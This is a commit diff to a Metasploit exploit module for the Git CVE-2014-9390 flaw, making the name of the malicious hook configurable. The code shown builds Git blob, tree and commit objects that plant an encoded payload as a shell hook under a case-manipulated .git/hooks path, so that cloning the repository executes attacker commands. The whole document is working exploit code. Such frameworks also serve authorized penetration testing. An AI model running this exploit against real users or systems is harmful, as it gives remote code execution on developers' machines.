Make malicious hook file name be customizable

modules/exploits/multi/http/git_cve_2014_9390.rb

@@ -62,7 +62,14 @@ class Metasploit4 < Msf::Exploit::Remote
     register_options(
       [
         OptString.new('URIPATH', [true, 'The URI to use as the malicious Git instance', '/got.git'])
-      ])
+      ]
+    )
+
+    register_advanced_options(
+      [
+        OptString.new('GIT_HOOK', [true, 'The Git hook to use for exploitation', 'post-checkout'])
+      ]
+    )
   end
 
   def setup
@@ -76,14 +83,14 @@ class Metasploit4 < Msf::Exploit::Remote
     # .git/hooks/post-checkout and will subsequently execute commands of our
     # choosing upon cloning
     @file_paths = {}
-    # build the post-update file blob
+    # build the hook file blob
     full_cmd = "#!/bin/sh\n#{payload.encoded}"
     sha1, content = build_object('blob', full_cmd)
     @file_paths["/objects/#{get_path(sha1)}"] = content
     # build tree that points to the blob
-    sha1, content = build_object('tree', "100755 post-checkout\0#{[sha1].pack('H*')}")
+    sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
     @file_paths["/objects/#{get_path(sha1)}"] = content
-    # build a tree that points to the hooks directory in which post-update lives
+    # build a tree that points to the hooks directory in which the hook lives, called hooks
     sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
     @file_paths["/objects/#{get_path(sha1)}"] = content
     # build a tree that points to the partially uppercased .git directory in
@@ -120,8 +127,7 @@ class Metasploit4 < Msf::Exploit::Remote
       vprint_status("Malicious commit is:")
       commit.each_line { |l| vprint_status(l.strip) }
     end
-    commit_content = "tree #{sha1}\n#{commit}"
-    sha1, content = build_object('commit', commit_content)
+    sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
     @file_paths["/objects/#{get_path(sha1)}"] = content
     # build HEAD
     @file_paths['/HEAD'] = "ref: refs/heads/master\n"